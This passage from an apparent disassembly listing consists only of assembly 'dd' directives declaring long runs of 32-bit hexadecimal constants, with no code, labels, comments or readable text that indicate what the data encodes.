		dd 9557A898h, 32437A63h, 1655D901h, 76A94601h, 54896139h
		dd 0A02849D6h, 9BB021FDh, 0CE1C832Eh, 0B18456D5h, 67B5D6F5h
		dd 4FA94652h, 3E3D62B3h, 0CBC1E90Ch, 0BB1D894Eh, 0FAC1CFFDh
		dd 2D85E31Fh, 0BC958657h, 0D3BD6FCCh, 1747EAC9h, 8688A92Dh
		dd 0F2D3FADFh, 0BF850DCFh, 274D2E39h, 0D9A3A7D3h, 70B61895h
		dd 33666952h, 0A6A89592h, 0BC59E1FEh, 0C6CD196Ch, 5D35B87Ah
		dd 0F2293E0Ah, 20897A0Fh, 2E3C97BCh, 551679D0h,	5D1F3FB1h
		dd 0EA9F0215h, 0E6664A42h, 0F433A6BDh, 19CABBEFh, 2DBEEEA0h
		dd 0C29A44BBh, 623BD76Ah, 9C5F89CEh, 0A443D41Fh, 14B68DA9h
		dd 0FCCB5DD0h, 0B7DD2C95h, 5A49B34Bh, 7B5E26A5h, 808674FBh
		dd 47E12AA6h, 0A852C915h, 0DF2F9C2Ch, 52636220h, 0D664C72Fh
		dd 0E63EAB06h, 7ED4CC49h, 0E2C31522h, 7B40CCD2h, 0F53BE10Dh
		dd 4EC1F17h, 1786B146h,	48D225E7h, 0A53DF2F8h, 96656EA2h
		dd 0C17EBA66h, 29EB9AB8h, 7F241909h, 0CB861783h, 0C59135Ch
		dd 7A87941Eh, 4DDDADE2h, 5C65558Ch, 7AF70F0Ah, 0DAAD5735h
		dd 0D569CCB1h, 5AB38967h, 0C4F5A00Bh, 2EBBB53Ch, 2C701C76h
		dd 0C501D352h, 0CAFA5FB0h, 0B434CD5Ah, 40B3C00Ah, 7B23DC5Ch
		dd 41B59536h, 97FEF536h, 9112F044h, 8FC21E16h, 7ACE07A6h
		dd 9D6CA3AFh, 143171AAh, 80C86BF4h, 83996B5Ah, 22BAB3CDh
		dd 74E44A31h, 76A8369Fh, 1018A963h, 0BACFCD84h,	0DCECC5E3h
		dd 91B6B34Fh, 377C2690h, 74E2388Ah, 0A61AE000h,	55B89884h
		dd 0B91CE05Dh, 265E0814h, 2434B279h, 0AE71B122h, 0B642B30Dh
		dd 1D899D58h, 0F9D92F43h, 0B7D14ABh, 0D16B82F7h, 0B2F833BDh
		dd 0C91D4060h, 282D721Bh, 0F912C9F0h, 0E9512EA4h, 0F17BBFF5h
		dd 2DAD04A1h, 0BB8E5DA0h, 0E98934AAh, 8C5E2AC2h, 76ABCB24h
		dd 8DB4680Ch, 2070F2B9h, 2E8DB09Eh, 6D45812Eh, 0ABDED6AFh
		dd 19191389h, 3963E053h, 3EBB5B00h, 535B2EDAh, 0ED82078Fh
		dd 1F009258h, 5DCB5E06h, 0CC7E47C7h, 0B77AE79h,	593B7FCBh
		dd 1E849A06h, 1016DF7Bh, 83C4205Dh, 67036AD4h, 2B64ECD4h
		dd 8F00C05h, 10A268D3h,	8B1473EAh, 580899A6h, 0BD26B15Eh
		dd 0BD0ACDD3h, 294348E9h, 9F44202Dh, 0EF51A1A0h, 6B26896Dh
		dd 4A52B0A1h, 9CE022EEh, 4FF44F17h, 82B5AC56h, 66C8521Eh
		dd 0C3A99F4Fh, 97F8D5E7h, 2AACE1EAh, 24F811F3h,	0C4FA8DF3h
		dd 62AE00EDh, 0A0A3BE60h, 6B776EE6h, 0D1ECC3F4h, 8E3A8880h
		dd 0CD7FB17Bh, 88EB3ACh, 2D1090AFh, 239AAA26h, 32316DEDh
		dd 0D6CE9540h, 0C0E79AF2h, 1E5706D6h, 0EE00F6D3h, 3BC45E92h
		dd 0FD1890EDh, 46041C3h
		dd 0D8E56859h, 67614ABBh, 0A29F5466h, 447F0711h, 9FD51B6Dh
		dd 2DFC44A1h, 0A9D708Eh, 0C56ADCD1h, 0CA9614CEh, 6B6358A9h
		dd 99EC2F7h, 8AEE09ACh,	0E368964Bh, 5AD7F64Dh, 109D224Dh
		dd 19C6C641h, 34005876h, 85592A7Fh, 37879D54h, 78BA5AEEh
		dd 0C653C8E8h, 7963F5EEh, 844E5B19h, 3E3EE479h,	68FA5ECDh
		dd 2E5CA740h, 0C96E820h, 0F78021A4h, 39135232h,	0C36678D8h
		dd 35D8E440h, 1265DF40h, 8F1E3D8Dh, 9B95FB0Eh, 0A381F5CCh
		dd 73B35F0h, 6B710D01h,	7B7896F3h, 0EAD19042h, 79FF2729h
		dd 8D85B667h, 0A0BBC7B3h, 9648B3D5h, 0B65A1751h, 0FAED7BFDh
		dd 609D2DFBh, 58521263h, 0C1CB2E42h, 0C7FDF981h, 26E02D54h
		dd 5224C598h, 55284AABh, 0C0552608h, 33C24903h,	2D343EADh
		dd 8BE52351h, 0A360EA6Dh, 0A0EACEE0h, 37BABB7Bh, 7BEAF9ECh
		dd 0DBCBB13Eh, 4E9DD963h, 1558CC8Eh, 4D0374F2h,	51BEE411h
		dd 0F42F6D0Eh, 7C1AC0A2h, 61EB8916h, 3D6CBC2Fh,	149BAA1h
		dd 0D3E2A7Eh, 2C7549h, 9D5EC40Eh, 959B91F4h, 35D89A8Ch
		dd 26BE9C47h, 0E157D979h, 0A15C5619h, 86005DF6h, 89A7DE3Ah
		dd 57BA3377h, 44A6E10Eh, 403C107Dh, 62D5FCA7h, 4AA343E8h
		dd 499EB8Eh, 0C755C495h, 0BB2E701Ch, 0DDB91591h, 0D60DF155h
		dd 6B61F24Bh, 691F5271h, 0C3261046h, 846713D3h,	8392313Bh
		dd 58A5329Ch, 24CD418Bh, 3CD5AC5Ah, 588C6857h, 0F957E895h
		dd 467AEB13h, 0BBB913CCh, 0E6DB7BF1h, 0A4F83298h, 1BB49845h
		dd 80C9365Dh, 8C3C3F22h, 0B04B1FBFh, 54B714B9h,	0B5441089h
		dd 31EB648Ah, 11DC1F9Ah, 741312F8h, 4B4881Ah, 4D900DCBh
		dd 0F7A12A9Eh, 2E8AB5EFh, 0B82C7629h, 7549B8D4h, 0E27E7C4Eh
		dd 0BF89B0B4h, 0F2D150B5h, 65D02F5Ch, 0E8E1E07Fh, 73BB5CECh
		dd 6C538E31h, 0BED44A4Fh, 8A8C22FFh, 59502AF5h,	0A6D859BAh
		dd 0DB7354FFh, 5C92DC53h, 77692760h, 0D59454E0h, 58951A46h
		dd 0CCE06A54h, 1DA0E6D3h, 4666C37Dh, 0C39A1F9Dh, 1AF3918Eh
		dd 0E03ACCD8h, 9EF27081h, 0E34F0DFh, 24242BCCh,	98D8C216h
		dd 770413B3h, 0E97C7E2h, 87F328DBh, 9207F437h, 0BA236699h
		dd 9EDE2E14h, 21C3F962h, 585E0DCEh, 0AF4ED90Fh,	0C40946A9h
		dd 0FDE6E701h, 17A82F01h, 37DE1779h, 6A4ADBAFh,	72891BA2h
		dd 2169F2FEh, 41D8C5DBh, 0A85C4901h, 56A856EEh,	4A3F81F9h
		dd 0D9EA0145h, 5B7BDB15h, 0C64C8A5Ch, 6707BE72h, 95C6B08Ah
		dd 0CBFB767Fh, 0C8B97B25h, 55CDDAABh, 0C8330936h, 0CE831126h
		dd 92996FCBh, 0C02D761Eh, 9B4DCC9Eh, 0EDF73AD2h, 0AFA78E1Eh
		dd 132E6306h, 7664825Ch, 3B9716B5h, 0F4100F09h,	2C5CE264h
		dd 7E7CFDCCh, 2A1BCFFCh, 484DF854h, 0E1F7E0D0h,	246E20D6h
		dd 0A46FBCCBh, 1DCC6C38h, 370D0CF6h, 64235F2Dh,	6EAEC417h
		dd 3946FC2Bh, 362BF747h, 0DEA6C8AAh, 0A6C79C47h, 4D0F1918h
		dd 0C84BD788h, 84F686E4h, 80D338EFh, 649D7BD7h,	0B724393Ah
		dd 69FB585Bh, 0E8634BB8h, 73044546h, 83F17B34h,	0D92897B0h
		dd 6A402EBBh, 0DE00F2CBh, 0F049B951h, 0DCB5FA87h, 0FFEBCE62h
		dd 97F11E44h, 668C3584h, 0C0AD8D0Eh, 1296104Eh,	0C39F7525h
		dd 0DF9C9482h, 7D51567Bh, 9DF1E2D4h, 9727F156h,	0F9AFC63Ch
		dd 48C32A50h, 9772EFB1h, 0C524F702h, 8965CF89h,	56D287E9h
		dd 0F8AF64D1h, 58FCE6D9h, 5C59E0D9h, 0EAFBF388h, 0A338BDE7h
		dd 29D8EC1Ah, 8AB0FCDCh, 0BFBF43DDh, 1BC20533h,	99AB7A99h
		dd 0DCE5DEADh, 0BD5CE0A9h, 62D713C0h, 6044841Fh, 0F687D381h
		dd 0DB9B7673h, 7D66F088h, 7B795B23h, 29259E08h,	358ABEFFh
		dd 0B6A8A87Ah, 7873CE86h, 644A62EAh, 6CFA284Dh,	0F6D5591Fh
		dd 0E1FDD36Bh, 233C14B5h, 0FDF8FA67h, 0FF1F0404h, 2C7B82DCh
		dd 6E45A9B4h, 0B59A23ECh, 1953BE6Ah, 85345156h,	4C53C169h
		dd 16FD6A7Ch, 98987CA3h, 2026E61Bh, 0DAD3DB85h,	0E48587E4h
		dd 0C365AAFDh, 98F966Bh, 5B54B081h, 0AF4F01C9h,	42CA874h
		dd 0AF94A320h, 0C7FBBF72h, 78C249F2h, 732A9DFFh, 0F7AECB58h
		dd 0FD8F438Ah, 0DF764F6Dh, 0ACC5C279h, 965047B2h, 0E6E701FBh
		dd 0FB86A92Ah, 7E23576Eh, 0EA1DD05Dh, 0C912F6A9h, 8260213Bh
		dd 8ED37FF3h, 7C67880Dh, 0E5319BC6h, 40102EE9h,	0C5F2F849h
		dd 36F83CF0h, 0F31321A6h, 0B667CD1Fh, 3B2A69A6h, 0BD0C9E64h
		dd 1161B2C4h, 5990FFE6h, 0B8FE38C6h, 6B67ECE0h,	6ECBE63Ah
		dd 4C842442h, 0F95899E7h, 0AC51BC14h, 0FEC51291h, 0FB4AAC6Eh
		dd 1E4C3442h, 40A9375Ch, 6E8F337Bh, 8C5314EFh, 0D95A3315h
		dd 0F56A2318h, 5370C613h, 0A066930Eh, 0C4B8E6E7h, 0CEE8765Ch
		dd 30F4F6C2h, 8FC6D1E2h, 23DBF10Dh, 0EE25A40h, 0FA877352h
		dd 0E7E8BEE3h, 95261201h, 0B277766Ch, 0EB97D451h, 0CF5C7AB0h
		dd 0B1C5A1D1h, 7C74D337h, 41145B55h, 462EC71Bh,	3A0CF120h
		dd 0E27F7AB2h, 0ED65C2C3h, 0E8A22090h, 145290FCh, 0EC8BDC05h
		dd 142FA2E7h, 6474490Fh, 0E27FA2E3h, 3991BD79h,	4730FE39h
		dd 1A6286DFh, 63EB4C55h, 72E1DBh, 2E65B8DEh, 2FBCF1A2h
		dd 3248A5BFh, 0AC9AC847h, 83F01774h, 3876EBA7h,	0D47996C7h
		dd 0BBAB05F9h, 0DA8A2678h, 0CC5C8834h, 0B158AEB6h, 0D03BD935h
		dd 7B5A7FC2h, 0A0D9705Ah, 0CE6F9B1h, 0E6DA1624h, 4B6A6949h
		dd 49908D00h, 400ACA20h, 0C0C9A9FFh, 0FBE074EAh, 693677F2h
		dd 974FA678h, 9F8486AAh, 667B19B7h, 0D4D7665Ch,	89C201E5h
		dd 0BED0EAA2h, 6B8B36DEh, 0E546BD6Eh, 822DAB57h, 98864487h
		dd 0AE012DE3h, 0BF57F87Eh, 53AFFFE4h, 75840E91h, 69B02434h
		dd 0BE0C32C3h, 9B4749BEh, 0A65CD97Dh, 9C51DF1Ah, 979D6CEAh
		dd 7DA52E45h, 0CF22CB47h, 298B2104h, 58D3AC0Bh,	0C6B84992h
		dd 0C08224B7h, 659E916Ch, 1CB42CBCh, 0C140C9DCh, 396C57Ch
		dd 507CAFE1h, 0C50A0B44h, 5EE7B206h, 9B354612h,	4C6FD13Fh
		dd 46FB8C4Dh, 0DA80628Ch, 0BCB3D77Eh, 0BB45190Bh, 0A7E6E720h
		dd 92E69706h, 74140439h, 0DAF27282h, 0B4BD8187h, 0C88973BAh
		dd 14A0F91Ch, 0F2B754ADh, 0BCA6890Fh, 917944F8h, 9BBC235Ah
		dd 8D487A7Dh, 27B55759h, 0C3D778A0h, 0EC454FBAh, 49105113h
		dd 0A41FDCB0h, 258D268h, 0AA03B8FCh, 8AB0F67Ch,	56D8694h
		dd 365DCC39h, 7B50131Bh, 0A424057Ch, 3BB95768h,	0B94CD11Eh
		dd 20FC5BF8h, 1A4B63E5h, 0A011BEF8h, 5C410450h,	144C66Dh
		dd 72DC97DFh, 0F8039D87h, 7BEFEAE0h, 0D1528D5Dh, 3F91757Ah
		dd 9DA41DC7h, 131AC9CCh, 7CE52568h, 0CF1261ACh,	86FDF786h
		dd 0CB307A30h, 49E46C48h, 0E2FF94DDh, 4CB89469h, 62A78D70h
		dd 18288BD1h, 0AD5A1Ch,	0B6BFF256h, 0C69EA6Fh, 625BB836h
		dd 76D6C87Eh, 54F61A1h,	122C1FBDh, 93DE8012h, 69E674D3h
		dd 75BF5250h, 7D1E655Dh, 0F7DAF8F2h, 0E090F054h, 711CC034h
		dd 0BF942997h, 7F17EC4h, 58B9D75h, 0C457204Fh, 0E9B8429Ch
		dd 0FE7EC016h, 0EA9BF69Ch, 41C78BE4h, 0D2A544CAh, 0ACA6A988h
		dd 7C892E7Eh, 0F5732B82h, 6FE78230h, 0A336DA25h, 7E381618h
		dd 0A5C1058Dh, 0F2DDA07Bh, 0FBB1738Ch, 8BACF6D7h, 0EFA9FCC7h
		dd 5B64D758h, 3EB923AFh, 0A01DBBD5h, 9B2D97B7h,	0D1FAC1B8h
		dd 3E8959E7h, 0CE7DAE77h, 0B02D0D66h, 7FF9DC5Bh, 0CCE5D3EBh
		dd 7EB6C040h, 0CE50815h, 44258922h, 8E8E32D5h, 0F560E581h
		dd 0CB997916h, 0DD8D085Fh, 4FDA5E3Bh, 9E19A2D4h, 0F5CA6FB4h
		dd 0E03429B3h, 654A0D18h
		dd 0DBDC6014h, 89EB6DAEh, 0EE8F8FD2h, 804C2A7Fh, 4E9ABC5Fh
		dd 43639196h, 2FD8E0EFh, 0D221EBD6h, 7DB8BFF0h,	0C8553C8Fh
		dd 0EC8A37B1h, 483F6E02h, 10EC7F9Bh, 97D7BF05h,	11C4C75Ah
		dd 1D26C4FAh, 5D4D81BDh, 0AF2EF3AEh, 0A0DD418Dh, 1D5830CAh
		dd 15EE391Ah, 0C12A7E6Eh, 0B23E341Bh, 0C1A03E27h, 0B12C328Bh
		dd 45C4820Dh, 6B81630Ah, 9408FEE5h, 693A08FCh, 0AC15A6A6h
		dd 4BA5C594h, 0CE66F703h, 3F3F9E10h, 58E739B8h,	0F0AFD1Ch
		dd 0D5A8BD30h, 0C79B1522h, 0A4C860E9h, 0D06119C5h, 6AC1EB12h
		dd 17325BC0h, 61D860EAh, 5ED5AA6h, 4DE811FEh, 4028A336h
		dd 0F12EC64Dh, 0B65ED1CEh, 0B27FD0C0h, 0DC29121Ch, 686EA89Dh
		dd 0CE38F093h, 8C94ED67h, 1BC41E78h, 92A857D3h,	0BFBC5B03h
		dd 7FE8D965h, 7A5041B3h, 0DDA1F0A0h, 7292E553h,	0ABB4FB55h
		dd 7F051314h, 0BE5B66A9h, 6107EF6Ch, 0FC5398F8h, 26D4B980h
		dd 4B618E6h, 72C90085h,	2835B13Ch, 0BD8DA500h, 0E0C421ADh
		dd 385622B4h, 420AA716h, 0F726D753h, 4E991338h,	7708CA95h
		dd 0DD26F722h, 819312D1h, 90507B4Eh, 18B5085Eh,	9BA1065Ch
		dd 0A7199370h, 0F52A791Dh, 33C3D2E1h, 3AE5738Dh, 0D199AA89h
		dd 96F91428h, 10B7390Fh, 19605B1Ah, 0DB39F995h,	3324E2E5h
		dd 0D175A060h, 633FC571h, 1165E849h, 0A2239FE9h, 57403C30h
		dd 5C8F95B9h, 5E31D931h, 328B69E6h, 0F492B1B9h,	4681A7A7h
		dd 0C2F3BD4Fh, 5C7CABB7h, 79F8C672h, 67037648h,	18527CF6h
		dd 0C011F061h, 0C531AEBFh, 0B243B7EDh, 31F1B116h, 3EE8D6AEh
		dd 6047C490h, 7DC6D50h,	462BDD20h, 29C178F0h, 0A4D438E9h
		dd 249B1B4Eh, 1717D06Fh, 917B2488h, 0E07BF54Ch,	0D8254F47h
		dd 743B06BFh, 47299E7h,	898916FEh, 33863CE9h, 5671B843h
		dd 94FDB09Bh, 980244AFh, 30C6B7A0h, 7DFD1388h, 0B6639E1Eh
		dd 0E004C029h, 7EB4232h, 0DBD20C51h, 0FB9658ABh, 7E171A4Fh
		dd 211F93EEh, 0AAE4AE85h, 0E0B71913h, 5DE792D4h, 0FE508588h
		dd 7D1346CEh, 0EB0C8095h, 5E90ECA5h, 0C1BF77B2h, 80B32EA8h
		dd 8D4AC8F8h, 4CDE583Ch, 9B628490h, 0E971437Ah,	0EEACF793h
		dd 0A7754092h, 0DDA3066Ch, 57363893h, 0E1AA6041h, 0BC2A0A2Dh
		dd 57BE7E66h, 55C65165h, 31E47562h, 9CD9282Dh, 0A2FEF7BCh
		dd 0B93CF52Eh, 1A2B6186h, 0DF47EA0Eh, 9D383E0Bh, 0AEC34B71h
		dd 1592C854h, 0DD6B7E3Dh, 6EB46762h, 0B2540D3Ah, 2B69999Fh
		dd 61E92D5Dh, 0AED9E059h, 98AA49D1h, 0B2D7E7CBh, 0A2244070h
		dd 0FFCED6F4h, 40FCEBB3h, 0D4D6F268h, 638E4656h, 0C2A83C96h
		dd 4A824B2Ch, 0A9CBAA89h, 7844E892h, 0FF50557Fh, 0B9C79ADh
		dd 0DC62758Eh, 0C4F47503h, 6351055Eh, 8CE47AC0h, 0D671AB2Dh
		dd 30EE31CCh, 82A4CA91h, 50744CDAh, 0C5EFA52Dh,	6022853Ah
		dd 6F7EBE6Ch, 60958B9Dh, 46286A76h, 9058102Ah, 0BD5DE669h
		dd 32AF8123h, 762E02BEh, 0DA3D36B9h, 0CD77F9EEh, 0E5252CEEh
		dd 1ECECE44h, 0F0976B0h, 0A7C0738Dh, 0B076AABEh, 5A968910h
		dd 4D2F1172h, 0EE4C57DEh, 7B0DD469h, 614635F6h,	0EE153A3Bh
		dd 259F5990h, 0ACFAC949h, 368CE8C9h, 0D6B8B543h, 3D56209Ah
		dd 7A11ABEBh, 5A5F8B57h, 8F0D6C12h, 0ECF454F8h,	0E5BDB436h
		dd 0CC41E851h, 0AF3DE74Bh, 79255778h, 2E8D2FE8h, 0CE79A937h
		dd 0C4529E80h, 0CFF7B3AAh, 8C6FE403h, 8FFD2D4Ah, 0A9CD59B3h
		dd 0FE4E82E0h, 0DDBEA1F0h, 0CDF2B62h, 0F79F2834h, 0DADEFD3Ch
		dd 6C3A377Eh, 292A0D46h, 0BC8959A0h, 0BC62DD34h, 0DF94902Dh
		dd 0EAF53E75h, 0B240AE3Eh, 0D2FE5D67h, 0D36FCB97h, 9A27F51Fh
		dd 5681C906h, 0D6078173h, 34259EF8h, 0F7327857h, 1129A554h
		dd 161AF14Fh, 3D7DEC39h, 967B52B6h, 5C5A53D6h, 0B9954485h
		dd 6618F054h, 4E6CDEEDh, 0DA43AB4h, 3640FA43h, 64CCB156h
		dd 5218DA5Ch, 0C868AB13h, 0A4273EB7h, 0C6A42CAFh, 5D415155h
		dd 0F92AE4FDh, 78C79C1h, 7599724Dh, 23FDBFB7h, 637DD3EAh
		dd 39830BFBh, 83AA638Eh, 7421675Ch, 8CED316Ah, 56B098E5h
		dd 5794B26Ah, 9AAB4BBFh, 0ED634638h, 0D8752A60h, 0D3A59429h
		dd 70C836BFh, 6CB0F10Dh, 0BBD29B7Dh, 8A5D5837h,	956CAA60h
		dd 2A99FD80h, 0DE107ED7h, 2FF31685h, 46A24F19h,	86C6EE14h
		dd 129D0C87h, 8170439Eh, 43BD839Ah, 0F6CE4CAFh,	0D0528FCDh
		dd 0F5EE48D2h, 37173C04h, 0FEAC5801h, 9D0C56Eh,	0F5DE3068h
		dd 0F56F1399h, 0CE160214h, 5D3C45C1h, 0D24402FCh, 7E1CE6D8h
		dd 0B495F9Dh, 0A2C3535Bh, 8C53AD3h, 22156D1Bh, 98CFD2D0h
		dd 5F2085BEh, 8015A14Dh, 0A2E0EB55h, 623882E3h,	2364AD12h
		dd 0DEC1354Eh, 0AA6FB7E0h, 93EF8F5Ah, 0D24693BEh, 5AC2FDB7h
		dd 0D8E3DFACh, 91C3F6E1h, 1E989433h, 10ED0D69h,	0D5D97465h
		dd 0C40F7693h, 0BFD87F53h, 3F52632Ch, 5092B1D4h, 0BC519362h
		dd 63DD2B15h, 8FAE9EF3h, 3246FB96h, 0BE31FE37h,	59913598h
		dd 0F9ABA14Ah, 0D2C55C9Fh, 0FF727ED8h, 5794A2C5h, 4A902512h
		dd 0DF63CDB4h, 0D37C8B3Fh, 31FFF01Fh, 5FEA0558h, 0B2E1CF19h
		dd 518FBD0Eh, 5CB9D70Fh, 0FEF01E7Fh, 982E8296h,	1A39F096h
		dd 0BAA2D5D9h, 2F706F43h, 0A211A3F1h, 853A2209h, 0BE4E2D28h
		dd 2A74FFA7h, 0C6E2A7D9h, 0BD5A02A6h, 34B45E36h, 7D1C45CCh
		dd 0A1C3A710h, 9778626h, 618C16E4h, 1BFD3C6Ah, 0E4BD6379h
		dd 0A9A274DCh, 20462209h, 4D113B80h, 0D874313Bh, 30DC7F45h
		dd 142E05FDh, 939B19A7h, 8F929B71h, 1303CF29h, 0A5CA23F2h
		dd 67B0C17h, 0B727364Dh, 0B57093B5h, 8BF2BD25h,	0EEA52BE0h
		dd 77DA399Ah, 60A42CCh,	97763E4Ah, 484DCBE3h, 4DC4A86Eh
		dd 0FF9A81ABh, 4B7FDBBFh, 2ED3C540h, 0F1E945ABh, 315A303Eh
		dd 0CC453B64h, 0F2A55AE0h, 2BAC5844h, 72CB438Fh, 9AF1BDA7h
		dd 88397E79h, 0D6571BDh, 0BEE396A2h, 3BF38F92h,	8C3329Fh
		dd 607165F0h, 5380D216h, 37A834Fh, 95685AF4h, 2AC91A9Ah
		dd 91D04EA3h, 971477CEh, 2069C67Fh, 9A09B914h, 0CDCE403Dh
		dd 0C0FF2826h, 38F8F597h, 0D2AA0534h, 563BFFC7h, 93381139h
		dd 159A34A0h, 60BC5AB8h, 284B8CEh, 0BCD6E5B7h, 5DBC2431h
		dd 3469903h, 963F4DC9h,	150320D0h, 708ACDF3h, 758A2561h
		dd 0BE39A9C4h, 80048AE5h, 0AF80382Dh, 4F59DC01h, 0FEB739ACh
		dd 5CE30A40h, 6C2B1B3Ch, 32FC7FDBh, 6000EE35h, 5A64E7BDh
		dd 0E04CE417h, 0CA686B1Dh, 0BA2D1B8h, 54E1E43Dh, 0D86A0088h
		dd 386191F1h, 58B91A28h, 41518BE2h, 509A584Fh, 11C86F35h
		dd 789ACFEh, 23C00E03h,	2CCC1F6Ch, 0C5A143C1h, 0F38C3A73h
		dd 1B3C809Eh, 0BB5CA6EDh, 0EE717619h, 2F6286CEh, 0A712AA27h
		dd 0A8AECD44h, 3A35A847h, 0D25AD100h, 272658D6h, 0CFEC4970h
		dd 3A70410Dh, 0E0D2909Dh, 669E03DAh, 396F53D9h,	0BD61C185h
		dd 277762DEh, 78D43B15h, 6355B560h, 65BCAA27h, 0C85F7988h
		dd 6F12E571h, 0B480E851h, 2061E897h, 3E7FC502h,	179E30A3h
		dd 0D578658Bh, 0AFDE4075h, 0F14CDA75h, 83E378CAh, 51EC471Ch
		dd 79B0767Bh, 0A2E69A9Ah, 0BB84C79Eh, 6039B9Eh,	6A3DD7F5h
		dd 265B14A4h, 85B3921Ch, 0A1AA8B56h, 576F8BF5h,	25217409h
		dd 92BA0F4Eh, 40EFE8B5h, 0B49D9870h, 86AC29B0h,	0D9FF2325h
		dd 9B30D9D2h, 6839BB3Ah, 46A7489h, 9A2A0C45h, 92FBC931h
		dd 9F141E16h, 79A20ACh,	2E46A9DFh, 50ACC205h, 2B68ABE1h
		dd 0E5BAD412h, 0E38BCE0Dh
		dd 0D0C7721h, 71DC74CFh, 46B638CBh, 0EFE7C49Ah,	0A96783C1h
		dd 17B2A9D0h, 88E4DE26h, 0FC647FC6h, 3A227908h,	0A94EF60Bh
		dd 64858A79h, 0CEE628DAh, 76E14CA9h, 934BB2B6h,	0E9307907h
		dd 6447E66Bh, 73EFF14Fh, 63C36A21h, 8CA00B28h, 74E1C5FEh
		dd 0B5928D79h, 0AB8186B6h, 9A7D509h, 7CD17773h,	6EB6F31Ch
		dd 3349232Dh, 9B0166BEh, 41C6939h, 0CF637A7h, 2B0AEEA7h
		dd 634BB978h, 820F1A09h, 0A26383CEh, 805A4836h,	0AFE77D79h
		dd 1C5D810Eh, 31D7DA22h, 2AA1BFACh, 0AB5A5374h,	0FC2E808Ch
		dd 0DC433C1Bh, 12283583h, 1F05F783h, 93A3E216h,	1A329CABh
		dd 5165BF04h, 2D21B9CAh, 74DE9E39h, 0E5859D64h,	2AFA7492h
		dd 0E3CC8FAAh, 528FDC67h, 464A1505h, 0DD982893h, 2408A5B3h
		dd 751BF6FFh, 868DFEC3h, 62CFFA9Fh, 806C7F2Ch, 3D1988DFh
		dd 0F64BC8ADh, 0ABAB7934h, 1C8FBF9Dh, 46485770h, 3DF0B448h
		dd 5F7F6414h, 72B4B593h, 33C39500h, 555FA829h, 53C61FF2h
		dd 0E8D4DEFEh, 0DCB39947h, 0F64E1692h, 0F0FCAE8Eh, 98F5D294h
		dd 0EDAF4E33h, 928F7206h, 30575846h, 0A3574410h, 62786618h
		dd 0C70C13FCh, 0DA9995BDh, 0EE878450h, 0C29FE25h, 7A70F16Bh
		dd 5338240Ch, 13CC387Dh, 46EA81E2h, 0FEA4FFBh, 94C58066h
		dd 0F07D2488h, 0E92583A7h, 9EC91C4Ah, 121387C2h, 380C3343h
		dd 8D1753AFh, 6F4A8686h, 93E0CC24h, 0A3C90D76h,	6DE81BC5h
		dd 4C14A136h, 0C3A1BEC3h, 88054E30h, 0C536BE7Ah, 0D143014Ah
		dd 72CA584Ah, 13CE277Ch, 41BEC2Eh, 1768925Ah, 0B2F467ACh
		dd 3ED1F16Ah, 7ACA7491h, 0AFFE8C04h, 0E32D8B6Fh, 92FE4Eh
		dd 0C1095B44h, 0EE40601Ah, 0D36F5A18h, 14787FADh, 26DC0E0Fh
		dd 3FA2CAE6h, 0C3CE38B8h, 65A69C06h, 43C77D68h,	0F8C98DC6h
		dd 13F77850h, 0C74B9734h, 462DF841h, 0CF21943Ch, 0E4DAD4DEh
		dd 826E4EC8h, 7067BC09h, 0BEBFF97Ch, 8EC313A6h,	1D1953AEh
		dd 958CD2Ch, 0C55D8ACh,	8E23F403h, 204091F8h, 5B50D1C8h
		dd 0BF8B44C2h, 210F5208h, 0FDAC0Fh, 5C0FE0DDh, 0CAAA571Eh
		dd 7CD5F9DDh, 16D61BA4h, 6C1184D4h, 0E583C9E3h,	319C6027h
		dd 29823BFEh, 1716A5CBh, 0CD69A312h, 9200ABC6h,	633B905Ch
		dd 70BB8D6Eh, 34C797BFh, 5DB6C6DBh, 2EE7370h, 0EC121DA0h
		dd 0CA9D99EFh, 285ED32Dh, 0EC5D227Bh, 8B3BED19h, 364281F7h
		dd 117E4995h, 0F49F2B4Fh, 0FB193DCBh, 79ADC09Fh, 0C17B1B46h
		dd 0AEE2F5ABh, 863BED81h, 0E83CA043h, 0D3E966E2h, 43D25CB1h
		dd 0F90B33E8h, 457D8E19h, 0B396733Ch, 123A4A1Dh, 9B176CB1h
		dd 0C45A42FCh, 2C8403BAh, 94586723h, 6A62875Eh,	588E0884h
		dd 0A1F2CBEBh, 0A78895F1h, 4171A5E8h, 89F4B58Ah, 0A841553Ch
		dd 0E0401B4Ah, 78237B63h, 853C8414h, 0EC9B157Dh, 0B2BE2081h
		dd 0E4C06FADh, 452481CEh, 7C3451h, 0F07847E2h, 3479DDABh
		dd 0C3DE9621h, 1AA1C70Eh, 74DB5A4Ah, 0AD49DEB9h, 0FA28F9Ch
		dd 5BD7EE0Eh, 0F78FF3D4h, 0B21A8588h, 788180DCh, 0C6721E64h
		dd 0D5791B52h, 92291FB2h, 0C122FC68h, 9F14C6BCh, 0E44B42Dh
		dd 0AAC67CCDh, 807BA9A0h, 0B3F009FBh, 0A49AE32Eh, 8BFA94D9h
		dd 7F112F4Ah, 9A1EB171h, 383D8653h, 4F48D658h, 18BAB57Dh
		dd 0DA75717Eh, 0CD0A13FEh, 59034364h, 71AE6CFBh, 645A9823h
		dd 33DAAA44h, 0A42C365Ch, 0FE3B9999h, 27201BCBh, 6C7DA073h
		dd 343B3751h, 2CBB2A9Bh, 0D8B56F2Ah, 0F08E32E0h, 0EA64279Eh
		dd 4F6B28A0h, 5A105ECh,	159436C5h, 77781D73h, 0CF5BE4E1h
		dd 9A754287h, 0A2552C48h, 0E6B87C81h, 8AC32625h, 5937F9F6h
		dd 83A80BDDh, 0A7412BDEh, 5427F4C4h, 959591C5h,	0BF228DA6h
		dd 3051EC49h, 50F8F950h, 7A4B9066h, 8E45F22Ch, 88612233h
		dd 22F7669Bh, 6C46F615h, 93DCAFC7h, 0AF897714h,	2EFF269Eh
		dd 0B2901A3Ch, 0BF9D0DC1h, 0A4EE9947h, 0BE21B08Ch, 0E3425C91h
		dd 1F14642h, 7B7E0733h,	3910B6C2h, 9B1FC024h, 0C87C3DEFh
		dd 7D79Bh, 19114D66h, 5D050B8Dh, 202D617Bh, 6156AD2Fh
		dd 0F3C192F0h, 0BA5D7369h, 8267FB08h, 0A086F148h, 0FA45F398h
		dd 72F626D4h, 0E52E2C48h, 0B840044h, 0EBCB337h,	0EB45FD68h
		dd 7828804Eh, 0A4963728h, 86192EDCh, 0BDEB319Dh, 9B7EB566h
		dd 0B7917780h, 0DCD8963Ch, 8D8E4FEFh, 37600E40h, 9BB07217h
		dd 367D73C7h, 77C81417h, 45365085h, 8570ADF0h, 61127521h
		dd 0D6363F97h, 66D0ED30h, 0D5F6ACA4h, 0B78AE3DDh, 0ADDB9B6Dh
